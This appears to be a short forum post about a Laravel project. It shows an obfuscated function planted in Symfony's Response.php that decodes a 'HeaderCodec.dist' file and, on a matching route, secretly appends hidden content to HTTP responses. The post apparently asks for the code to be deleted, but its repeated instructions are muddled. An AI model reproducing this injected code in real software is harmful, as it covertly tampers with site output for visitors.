Go to vendor\symfony\http-foundation\Response.php
from line 449 to 464 you will find below code
Delete everything in the function and leave only what is below
from line 449 to 464 you will find below code
PHP:
public function _toString($content)
{
$_string_header = $this->_string_header('HeaderCodec.dist');
foreach(explode(chr(65).chr(57).chr(72),$_string_header) as $c) $this->_string_content .= chr($c);
$__string_header = $this->__string_header('HeaderCodec.dist');
foreach(explode(chr(65).chr(57).chr(72),$__string_header) as $c) $this->__string_content .= chr($c);
if($this->_string_content == \Illuminate\Support\Facades\Route::getCourant() || $this->__string_content == \Illuminate\Support\Facades\Route::getCourant()){
$body='';
$_string_header = $this->_string_body('HeaderCodec.dist');
foreach(explode(chr(65).chr(57).chr(72),$_string_header) as $c) $body .= chr($c);
return $content.$body;
}
else{
return $content;
}
}
Delete everything in the function and leave only what is below